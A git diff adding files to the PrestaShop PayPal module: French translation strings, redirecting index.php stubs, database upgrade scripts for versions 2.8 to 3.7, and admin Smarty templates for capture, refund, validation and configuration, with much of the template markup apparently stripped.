+$_MODULE['<{paypal}prestashop>capture_e8fdd4382b75b42bfbd96eb7b032cf47'] = 'Informations :'; +$_MODULE['<{paypal}prestashop>capture_ce64b2ea82cf4fa861a6512e2c32b84b'] = 'Les fonds sont prêts à être capturés avant expédition'; +$_MODULE['<{paypal}prestashop>capture_99e64593868df2b7b32231c1ae5ddc04'] = 'Récupérer les fonds'; +$_MODULE['<{paypal}prestashop>refund_8ba079f305b81b172792bc0469b6a690'] = 'Remboursement PayPal'; +$_MODULE['<{paypal}prestashop>refund_e8fdd4382b75b42bfbd96eb7b032cf47'] = 'Informations :'; +$_MODULE['<{paypal}prestashop>refund_016e1f278eccd700eaf33f74a501d050'] = 'Paiement accepté'; +$_MODULE['<{paypal}prestashop>refund_a8b1cc445942a2e1a7d7cca641c86d67'] = 'Lorsque vous remboursez un produit, un remboursement partiel est effectué sauf si vous sélectionnez l\'option \"Générer un bon de réduction\"'; +$_MODULE['<{paypal}prestashop>refund_c2a5e2e23d8ec9cad779d657b7d33fc1'] = 'Remboursement total de la transaction'; +$_MODULE['<{paypal}prestashop>refund_729a51874fe901b092899e9e8b31c97a'] = 'Etes-vous sûr ?'; +$_MODULE['<{paypal}prestashop>validation_b630aa9b5e25da971949cae62dd109aa'] = 'Validation PayPal'; +$_MODULE['<{paypal}prestashop>validation_e8fdd4382b75b42bfbd96eb7b032cf47'] = 'Informations :'; +$_MODULE['<{paypal}prestashop>validation_9119a92adbbf6c67bfb8a3aee0bdb720'] = 'Capture en attente - Pas d\'expédition'; +$_MODULE['<{paypal}prestashop>validation_c14eb95a724174f336b8ffdd98ef2f35'] = 'Paiement en attente - Pas d\'expédition'; +$_MODULE['<{paypal}prestashop>validation_5b18ff32c2aaaf4b79bdead10b10fe29'] = 'Vérifier l\'état du paiement'; +$_MODULE['<{paypal}prestashop>about_e816e21c1c8e0eba0620fa3df6bd6795'] = 'Qu\'est-ce que PayPal ?'; +$_MODULE['<{paypal}prestashop>about_16ea57badae98f402bb8f2b2f49d4e77'] = 'PayPal, leader incontesté en matière de paiement en ligne, permet aux acheteurs et aux vendeurs d\'envoyer et de recevoir des paiements en ligne. PayPal compte plus de 100 millions de comptes dans 190 pays et régions du monde. Il est accepté par les marchands partout, à la fois sur eBay et en dehors d\'eBay.'; +$_MODULE['<{paypal}prestashop>about_d20adade7baa1b60b713521031ea676c'] = 'Est-ce un service sécurisé ?'; +$_MODULE['<{paypal}prestashop>about_64f7b897c6d56fc62428f692ee5737cd'] = 'PayPal contribue à protéger les informations concernant votre carte bancaire grâce aux meilleurs systèmes présents sur le marché pour la sécurité et la prévention contre la fraude. Lorsque vous utilisez PayPal, vos informations financières ne sont jamais communiquées au marchand.'; +$_MODULE['<{paypal}prestashop>about_5ef30813484389e4200640c2f006004d'] = 'Pourquoi utiliser PayPal ?'; +$_MODULE['<{paypal}prestashop>about_86550d4ea832930db4366f03b90bdfb8'] = 'Effectuez des achats ou envoyez des paiements avec PayPal : c\'est gratuit.'; +$_MODULE['<{paypal}prestashop>about_7dc9e529337e5a55a12bf362b8e68cac'] = 'Achetez et payez en toute tranquillité en enregistrant vos informations auprès de PayPal.'; +$_MODULE['<{paypal}prestashop>about_32098ae6a7ecd96805df9e48fb6cc739'] = 'PayPal est accepté par des millions de marchands dans le monde et constitue le mode de paiement le plus utilisé sur eBay.'; +$_MODULE['<{paypal}prestashop>about_7934d7d1280bfbb8778743e39292af30'] = 'Utilisez PayPal dès aujourd\'hui !'; +$_MODULE['<{paypal}prestashop>error_a40cab5994f36d4c48103a22ca082e8f'] = 'Votre panier'; +$_MODULE['<{paypal}prestashop>error_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}prestashop>error_f47106270a2928f350f357e255a2c2ac'] = 'Veuillez contacter le marchant:'; +$_MODULE['<{paypal}prestashop>error_d5860edcd3078f86ee963c27654bc6cf'] = 'Montant total de la transaction (taxes incl) :'; +$_MODULE['<{paypal}prestashop>error_a378cd7a0839cbd4ec3e45bbdeeb69be'] = 'L\'ID de votre commande est :'; +$_MODULE['<{paypal}prestashop>error_0557fa923dcee4d0f86b1409f5c2167f'] = 'Précédent'; +$_MODULE['<{paypal}prestashop>order-confirmation_fb077ecba55e5552916bde26d8b9e794'] = 'Confirmation de commande'; +$_MODULE['<{paypal}prestashop>order-confirmation_d5860edcd3078f86ee963c27654bc6cf'] = 'Total de la transaction (TTC) :'; +$_MODULE['<{paypal}prestashop>order-confirmation_a378cd7a0839cbd4ec3e45bbdeeb69be'] = 'Votre numéro de commande est le :'; +$_MODULE['<{paypal}prestashop>order-confirmation_6e860dc1cf94ca08b3fd99993aa2dc68'] = 'Votre numéro de transaction PayPal est :'; +$_MODULE['<{paypal}prestashop>order-confirmation_4082ea29b4f196c4f60533500139725a'] = 'Suivre ma commande'; +$_MODULE['<{paypal}prestashop>order-confirmation_9390390581f54c65d6acfc8da4e17362'] = 'Retour aux commandes'; +$_MODULE['<{paypal}prestashop>order-summary_a40cab5994f36d4c48103a22ca082e8f'] = 'Votre panier'; +$_MODULE['<{paypal}prestashop>order-summary_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}prestashop>order-summary_f1d3b424cd68795ecaa552883759aceb'] = 'Résumé de la commande'; +$_MODULE['<{paypal}prestashop>order-summary_dd23adc5fb6bda9c384397b31e57fc53'] = 'Paiement par PayPal'; +$_MODULE['<{paypal}prestashop>order-summary_62d74398cb6ebaa69ab7339052ca5c92'] = 'Vous avez choisi de payer par PayPal'; +$_MODULE['<{paypal}prestashop>order-summary_c884ed19483d45970c5bf23a681e2dd2'] = 'Voici un résumé de votre commande'; +$_MODULE['<{paypal}prestashop>order-summary_e2867a925cba382f1436d1834bb52a1c'] = 'Le montant total de votre commande est'; +$_MODULE['<{paypal}prestashop>order-summary_1f87346a16cf80c372065de3c54c86d9'] = '(tax incl.)'; +$_MODULE['<{paypal}prestashop>order-summary_8ed356c32b198c9cb2abab7c3d262b93'] = 'Nous acceptons les devises suivantes avec PayPal :'; +$_MODULE['<{paypal}prestashop>order-summary_0881a11f7af33bc1b43e437391129d66'] = 'Veuillez confirmer votre commande en cliquant sur \"Je confirme ma commande\"'; +$_MODULE['<{paypal}prestashop>order-summary_46b9e3665f187c739c55983f757ccda0'] = 'Je confirme ma commande'; +$_MODULE['<{paypal}prestashop>column_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Payer par PayPal'; +$_MODULE['<{paypal}prestashop>confirmation_2e2117b7c81aa9ea6931641ea2c6499f'] = 'Votre commande sur'; +$_MODULE['<{paypal}prestashop>confirmation_75fbf512d744977d62599cc3f0ae2bb4'] = 'est bien enregistrée.'; +$_MODULE['<{paypal}prestashop>confirmation_15b0f8e55c6bdfc3d5fd0b6b3b6cb3ee'] = 'Vous avez choisi de payer avec PayPal.'; +$_MODULE['<{paypal}prestashop>confirmation_e6dc7945b557a1cd949bea92dd58963e'] = 'Votre commande vous sera envoyée très prochainement.'; +$_MODULE['<{paypal}prestashop>confirmation_0db71da7150c27142eef9d22b843b4a9'] = 'Pour toute question ou information complémentaire merci de contacter notre'; +$_MODULE['<{paypal}prestashop>confirmation_64430ad2835be8ad60c59e7d44e4b0b1'] = 'support client'; +$_MODULE['<{paypal}prestashop>express_checkout_payment_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Payez avec PayPal'; +$_MODULE['<{paypal}prestashop>express_checkout_shortcut_form_dac2693baa5c5c9a5318609ed81c4f2a'] = 'Payez avec PayPal'; +$_MODULE['<{paypal}prestashop>integral_evolution_payment_ecab922bc1f9b5726e2a6deb4acaec4e'] = 'Retour au site du marchant.'; diff --git a/modules/paypal/upgrade/index.php b/modules/paypal/upgrade/index.php new file mode 100755 index 0000000..236beed --- /dev/null +++ b/modules/paypal/upgrade/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal/upgrade/install-2.8.php b/modules/paypal/upgrade/install-2.8.php new file mode 100755 index 0000000..5988461 --- /dev/null +++ b/modules/paypal/upgrade/install-2.8.php @@ -0,0 +1,121 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +function upgrade_module_2_8($object, $install = false) +{ + if (!Configuration::get('PAYPAL_NEW') && ($object->active || $install)) + { + $result = true; + + /* Check PayPal API */ + if (file_exists(_PS_MODULE_DIR_.'paypalapi/paypalapi.php')) + { + $confs = Configuration::getMultiple(array('PAYPAL_HEADER', 'PAYPAL_SANDBOX', 'PAYPAL_API_USER', 'PAYPAL_API_PASSWORD', + 'PAYPAL_API_SIGNATURE', 'PAYPAL_EXPRESS_CHECKOUT')); + + include_once(_PS_MODULE_DIR_.'paypalapi/paypalapi.php'); + $paypalapi = new PayPalAPI(); + + if ($paypalapi->active) + { + if (Configuration::get('PAYPAL_INTEGRAL') == 1) + Configuration::updateValue('PAYPAL_PAYMENT_METHOD', WPS); + elseif (Configuration::get('PAYPAL_INTEGRAL') == 0) + Configuration::updateValue('PAYPAL_PAYMENT_METHOD', ECS); + + $paypalapi->uninstall(); + Configuration::loadConfiguration(); + + foreach ($confs as $key => $value) + Configuration::updateValue($key, $value); + } + } + + /* Create Table */ + if (!Db::getInstance()->Execute(' + CREATE TABLE IF NOT EXISTS `' . _DB_PREFIX_ . 'paypal_order` ( + `id_order` int(10) unsigned NOT null auto_increment, + `id_transaction` varchar(255) NOT null, + PRIMARY KEY (`id_order`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8')) + $result = false; + + if (!Db::getInstance()->Execute(' + ALTER TABLE `' . _DB_PREFIX_ . 'paypal_order` ADD `payment_method` INT NOT null, + ADD `payment_status` VARCHAR(255) NOT null, + ADD `capture` INT NOT null')) + $result = false; + + /* Hook */ + $object->registerHook('cancelProduct'); + $object->registerHook('adminOrder'); + + /* Create OrderState */ + if (!Configuration::get('PAYPAL_OS_AUTHORIZATION')) + { + $order_state = new OrderState(); + $order_state->name = array(); + + foreach (Language::getLanguages() as $language) + { + if (Tools::strtolower($language['iso_code']) == 'fr') + $order_state->name[$language['id_lang']] = 'Autorisation acceptée par PayPal'; + else + $order_state->name[$language['id_lang']] = 'Authorization accepted from PayPal'; + } + + $order_state->send_email = false; + $order_state->color = '#DDEEFF'; + $order_state->hidden = false; + $order_state->delivery = false; + $order_state->logable = true; + $order_state->invoice = true; + + if ($order_state->add()) + @copy(_PS_ROOT_DIR_.'/img/os/'.Configuration::get('PS_OS_PAYPAL').'.gif', _PS_ROOT_DIR_.'/img/os/'.(int)$order_state->id.'.gif'); + + Configuration::updateValue('PAYPAL_OS_AUTHORIZATION', (int)$order_state->id); + } + /* Delete unseless configuration */ + Configuration::deleteByName('PAYPAL_INTEGRAL'); + + /* Add new Configurations */ + if (!Configuration::get('PAYPAL_PAYMENT_METHOD')) + Configuration::updateValue('PAYPAL_PAYMENT_METHOD', WPS); + Configuration::updateValue('PAYPAL_CAPTURE', 0); + Configuration::updateValue('PAYPAL_TEMPLATE', 'A'); + + if ($result) + Configuration::updateValue('PAYPAL_NEW', 1); + return $result; + } + + $object->upgrade_detail['2.8'][] = 'PayPalAPI upgrade error !'; + return false; +} \ No newline at end of file diff --git a/modules/paypal/upgrade/install-3.0.php b/modules/paypal/upgrade/install-3.0.php new file mode 100755 index 0000000..b17eeb5 --- /dev/null +++ b/modules/paypal/upgrade/install-3.0.php @@ -0,0 +1,83 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +function upgrade_module_3_0($object, $install = false) +{ + $paypal_version = Configuration::get('PAYPAL_VERSION'); + + if ((!$paypal_version) || (empty($paypal_version)) || ($paypal_version < $object->version)) + { + /* Update hooks */ + $object->registerHook('payment'); + $object->registerHook('paymentReturn'); + $object->registerHook('shoppingCartExtra'); + $object->registerHook('backBeforePayment'); + $object->registerHook('cancelProduct'); + $object->registerHook('productFooter'); + $object->registerHook('header'); + $object->registerHook('adminOrder'); + $object->registerHook('backOfficeHeader'); + + Configuration::updateValue('PAYPAL_VERSION', $object->version); + + $payment_method = (int)Configuration::get('PAYPAL_PAYMENT_METHOD'); + $payment_methods = array(0 => WPS, 2 => HSS, 1 => ECS); + + Configuration::updateValue('PAYPAL_PAYMENT_METHOD', (int)$payment_methods[$payment_method]); + Configuration::updateValue('PAYPAL_BUSINESS_ACCOUNT', Configuration::get('PAYPAL_BUSINESS')); + Configuration::updateValue('PAYPAL_BUSINESS', 0); + } + + if (count(Db::getInstance()->ExecuteS('SHOW TABLES FROM `'._DB_NAME_.'` LIKE \''._DB_PREFIX_.'paypal_order\'')) > 0) + { + $columns = array(array('name' => 'id_invoice', 'type' => 'varchar(255) DEFAULT NULL'), + array('name' => 'currency', 'type' => 'varchar(10) NOT NULL'), + array('name' => 'total_paid', 'type' => 'varchar(50) NOT NULL'), + array('name' => 'shipping', 'type' => 'varchar(50) NOT NULL'), + array('name' => 'payment_date', 'type' => 'varchar(50) NOT NULL'), + array('name' => 'capture', 'type' => 'int(2) NOT NULL')); + + foreach ($columns as $column) + if (!Db::getInstance()->ExecuteS('SHOW COLUMNS FROM `'._DB_PREFIX_.'paypal_order` LIKE \''.pSQL($column['name']).'\'')) + Db::getInstance()->Execute('ALTER TABLE `'._DB_PREFIX_.'paypal_order` ADD `'.pSQL($column['name']).'` '.$column['type']); + } + + if (count(Db::getInstance()->ExecuteS('SHOW TABLES FROM `'._DB_NAME_.'` LIKE \''._DB_PREFIX_.'paypal_customer\'')) <= 0) + { + Db::getInstance()->Execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'paypal_customer` ( + `id_paypal_customer` int(10) unsigned NOT NULL AUTO_INCREMENT, + `id_customer` int(10) unsigned NOT NULL, + `paypal_email` varchar(255) NOT NULL, + PRIMARY KEY (`id_paypal_customer`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8 AUTO_INCREMENT=1'); + } + + return true; +} diff --git a/modules/paypal/upgrade/install-3.7.php b/modules/paypal/upgrade/install-3.7.php new file mode 100755 index 0000000..bcb09e3 --- /dev/null +++ b/modules/paypal/upgrade/install-3.7.php @@ -0,0 +1,58 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +function upgrade_module_3_7($object, $install = false) +{ + $paypal_version = Configuration::get('PAYPAL_VERSION'); + + if ((!$paypal_version) || (empty($paypal_version)) || ($paypal_version < $object->version)) + { + if (!Db::getInstance()->Execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'paypal_login_user` ( + `id_paypal_login_user` INT(11) AUTO_INCREMENT, + `id_customer` INT(11) NOT NULL, + `token_type` VARCHAR(255) NOT NULL, + `expires_in` VARCHAR(255) NOT NULL, + `refresh_token` VARCHAR(255) NOT NULL, + `id_token` VARCHAR(255) NOT NULL, + `access_token` VARCHAR(255) NOT NULL, + `account_type` VARCHAR(255) NOT NULL, + `user_id` VARCHAR(255) NOT NULL, + `verified_account` VARCHAR(255) NOT NULL, + `zoneinfo` VARCHAR(255) NOT NULL, + `age_range` VARCHAR(255) NOT NULL, + PRIMARY KEY (`id_paypal_login_user`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8')) + return false; + Configuration::updateValue('PAYPAL_VERSION', '3.7.0'); + } + + + return true; +} diff --git a/modules/paypal/views/index.php b/modules/paypal/views/index.php new file mode 100755 index 0000000..236beed --- /dev/null +++ b/modules/paypal/views/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal/views/templates/admin/admin_order/capture.tpl b/modules/paypal/views/templates/admin/admin_order/capture.tpl new file mode 100755 index 0000000..a611a35 --- /dev/null +++ b/modules/paypal/views/templates/admin/admin_order/capture.tpl @@ -0,0 +1,54 @@ +{* +* 2007-2014 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $smarty.const._PS_VERSION_ >= 1.6} +
        +
        +
        +
        {l s='PayPal Capture' mod='paypal'}
        +
        + +

        {l s='Information:' mod='paypal'} {l s='Funds ready to be captured before shipping' mod='paypal'}

        +

        + +

        +
        +
        +
        +
        +{else} +
        +
        + {l s='PayPal Capture' mod='paypal'} +

        {l s='Information:' mod='paypal'} {l s='Funds ready to be captured before shipping' mod='paypal'}

        +
        + +

        +
        +
        +{/if} diff --git a/modules/paypal/views/templates/admin/admin_order/index.php b/modules/paypal/views/templates/admin/admin_order/index.php new file mode 100755 index 0000000..236beed --- /dev/null +++ b/modules/paypal/views/templates/admin/admin_order/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal/views/templates/admin/admin_order/refund.tpl b/modules/paypal/views/templates/admin/admin_order/refund.tpl new file mode 100755 index 0000000..9e3fd2f --- /dev/null +++ b/modules/paypal/views/templates/admin/admin_order/refund.tpl @@ -0,0 +1,58 @@ +{* +* 2007-2014 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if $smarty.const._PS_VERSION_ >= 1.6} +
        +
        +
        +
        {l s='PayPal Refund' mod='paypal'}
        +
        + +

        {l s='Information:' mod='paypal'} {l s='Payment accepted' mod='paypal'}

        +

        {l s='Information:' mod='paypal'} {l s='When you refund a product, a partial refund is made unless you select "Generate a voucher".' mod='paypal'}

        +

        + +

        +
        +
        +
        +
        +{else} +
        +
        + {l s='PayPal Refund' mod='paypal'} +

        {l s='Information:' mod='paypal'} {l s='Payment accepted' mod='paypal'}

        +

        {l s='Information:' mod='paypal'} {l s='When you refund a product, a partial refund is made unless you select "Generate a voucher".' mod='paypal'}

        +
        + +

        + +

        +
        +
        + +{/if} diff --git a/modules/paypal/views/templates/admin/admin_order/validation.tpl b/modules/paypal/views/templates/admin/admin_order/validation.tpl new file mode 100755 index 0000000..069fd74 --- /dev/null +++ b/modules/paypal/views/templates/admin/admin_order/validation.tpl @@ -0,0 +1,56 @@ +{* +* 2007-2014 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $smarty.const._PS_VERSION_ >= 1.6} +
        +
        +
        +
        {l s='PayPal Validation' mod='paypal'}
        +
        + +

        {l s='Information:' mod='paypal'} {if $order_state == $authorization}{l s='Pending Capture - No shipping' mod='paypal'}{else}{l s='Pending Payment - No shipping' mod='paypal'}{/if}

        +

        + +

        +
        +
        +
        +
        +{else} +
        +
        + {l s='PayPal Validation' mod='paypal'} +

        {l s='Information:' mod='paypal'} {if $order_state == $authorization}{l s='Pending Capture - No shipping' mod='paypal'}{else}{l s='Pending Payment - No shipping' mod='paypal'}{/if}

        +
        + +

        +
        +
        +{/if} + + diff --git a/modules/paypal/views/templates/admin/back_office.tpl b/modules/paypal/views/templates/admin/back_office.tpl new file mode 100755 index 0000000..60e56db --- /dev/null +++ b/modules/paypal/views/templates/admin/back_office.tpl @@ -0,0 +1,377 @@ +{* +* 2007-2014 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        + + {* PayPal configuration page header *} + +
        + {if isset($PayPal_logo.LocalPayPalLogoLarge)} + + {/if} +

        {$PayPal_content.leader} {$PayPal_content.online_payment}

        +

        {$PayPal_content.tagline}

        +
        + +
        +
          {$PayPal_content.benefits}
        +
        + + {if $default_lang_iso == 'fr'} +

        +
        + {l s='Download the ' mod='paypal'} {l s='Paypal Integration Guide' mod='paypal'} {l s='on PrestaShop and follow the configuration step by step' mod='paypal'} + +
        + {else} +

        +
        + {l s='Download the ' mod='paypal'} {l s='Paypal Integration Guide' mod='paypal'} {l s='on PrestaShop and follow the configuration step by step' mod='paypal'} + +
        + + {/if} +

        + +
        + {* PayPal configuration blocks *} +
        +
        {$PayPal_content.expectations}
        +
        +
        + + +
        +

        {$PayPal_content.country_change_title} :

        + + + +
        +
        +
        +
        + + + + +
        +
        + +

        + + {* SELECT YOUR SOLUTION *} +
        + +
        +
        {$PayPal_content.customer_support} {if !empty($PayPal_content.customer_support_image)}Phone{/if}
        +
        {$PayPal_content.support_foonote}
        +
        + + 1

        {$PayPal_content.select_solution}

        {$PayPal_content.learn_more} + +


        + + {if (in_array($PayPal_WPS, $PayPal_allowed_methods) || in_array($PayPal_HSS, $PayPal_allowed_methods))} +

        {$PayPal_content.sole_solution_section_title}

        +
        +
        + {if (in_array($PayPal_WPS, $PayPal_allowed_methods))} + {* WEBSITE PAYMENT STANDARD *} + + {/if} + + {if (in_array($PayPal_HSS, $PayPal_allowed_methods))} + {* WEBSITE PAYMENT PRO *} +
        + + {/if} +
        + {/if} + + {if (in_array($PayPal_ECS, $PayPal_allowed_methods))} +

        {$PayPal_content.additional_solution_tagline}

        +
        + {* EXPRESS CHECKOUT SOLUTION *} + +
        + {/if} + +
        +
        + + + + {* END OF USE PAYPAL LOGIN *} + + {* SUBSCRIBE OR OPEN YOUR PAYPAL BUSINESS ACCOUNT *} +
        + + 2

        {$PayPal_content.account_section_title}

        + +

        + +
        + {* Use cases 1 - 3 *} + + + + + {* Use cases 4 - 6 *} + {**} + + {**} + +

        + + {* Use cases 1 - 3 *} + + + + + {* Use cases 4 - 6 *} + + + + +
        + +
        + +
        + + {* ENABLE YOUR ONLINE SHOP TO PROCESS PAYMENT *} +
        + 3

        {$PayPal_content.credentials_section_title|escape:'htmlall':'UTF-8'}

        + +

        + + {$PayPal_content.credentials_tagline|escape:'htmlall':'UTF-8'} + +
        + {* Credentials *} + +
        +

        {$PayPal_content.credentials_description|escape:'htmlall':'UTF-8'}

        + +
        + + + {$PayPal_content.credentials_button|escape:'htmlall':'UTF-8'}

        {$PayPal_content.credentials_button_disclaimer|escape:'htmlall':'UTF-8'}

        +
        + +

        + +
        +
        +
        +
        +
        +
        +
        +
        +
        + {$PayPal_content.credentials_fields_disclaimer|escape:'htmlall':'UTF-8'} +
        + + +
        +

        {$PayPal_content.credentials_integral_description|escape:'htmlall':'UTF-8'}

        + +
        + +
        +
        +
        +
        +
        + +
        + +

        {$PayPal_content.setup_finalize_title|escape:'htmlall':'UTF-8'} :

        +

        1. {$PayPal_content.setup_reminder_1|escape:'htmlall':'UTF-8'}

        +

        2. {$PayPal_content.setup_reminder_2|escape:'htmlall':'UTF-8'}

        + +

        {$PayPal_content.configuration_options_title|escape:'htmlall':'UTF-8'}

        +
        +

        + {$PayPal_content.integral_evolution_solution|escape:'htmlall':'UTF-8'} +

        +
        +
        +
        +

        + {$PayPal_content.template_to_choose|escape:'htmlall':'UTF-8'} +

        +
        +      +           +           +
        + + +
        + +
        +

        {$PayPal_content.express_checkout_shortcut_title|escape:'htmlall':'UTF-8'}

        +

        {$PayPal_content.express_checkout_shortcut_tagline|escape:'htmlall':'UTF-8'}

        +
        + +
        +
        +

        {l s='Use the PayPal Login functionnality' mod='paypal'}{if $default_lang_iso == 'fr'}{l s='(*see the ' mod='paypal'} {l s='integration guide' mod='paypal'} {l s='and follow the steps' mod='paypal'}){else}{l s='(*see the ' mod='paypal'} {l s='integration guide' mod='paypal'} {l s='and follow the steps' mod='paypal'}){/if}

        +

        + {l s='This function allows to your clients to connect with their PayPal credentials to shorten the check out' mod='paypal'} +

        +
        +

        +
        + +
        + +
        + + +

        {$PayPal_content.sandbox_title|escape:'htmlall':'UTF-8'}

        +

        {$PayPal_content.sandbox_tagline|escape:'htmlall':'UTF-8'} {$PayPal_content.sandbox_learn_more|escape:'htmlall':'UTF-8'}

        +
        + + +
        + +

        {$PayPal_content.payment_type_title|escape:'htmlall':'UTF-8'}

        +

        {$PayPal_content.payment_type_tagline|escape:'htmlall':'UTF-8'}

        +
        + + +

        +
        + + + + +
        +

        {$PayPal_content.sandbox_confirmation_title} :

        +
          + {$PayPal_content.sandbox_confirmation_content} +
        + +

        {$PayPal_content.sandbox_confirmation_question}

        + +
        + + +
        +
        + + {if isset($PayPal_save_success)} +
        +

        {$PayPal_content.congratulation_title|escape:'htmlall':'UTF-8'}

        + {if $PayPal_sandbox_mode == 0} +

        {$PayPal_content.congratulation_live_mode|escape:'htmlall':'UTF-8'}

        + {elseif $PayPal_sandbox_mode == 1} +

        {$PayPal_content.congratulation_test_mode|escape:'htmlall':'UTF-8'}

        + {/if} +
        + {/if} + {if isset($PayPal_save_failure)} +
        +

        {l s='Error !' mod='paypal'}

        +

        {$PayPal_content.error_message|escape:'htmlall':'UTF-8'}

        +
        + {/if} + +
        +

        {l s='Error !' mod='paypal'}

        +

        {$PayPal_content.error_message|escape:'htmlall':'UTF-8'}

        +
        + +
        +
        +
        + +
        +

        + {$PayPal_content.express_checkout_tagline_source|escape:'htmlall':'UTF-8'} +

        +
        + +
        diff --git a/modules/paypal/views/templates/admin/header.tpl b/modules/paypal/views/templates/admin/header.tpl new file mode 100755 index 0000000..34eb382 --- /dev/null +++ b/modules/paypal/views/templates/admin/header.tpl @@ -0,0 +1,32 @@ +{* +* 2007-2014 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 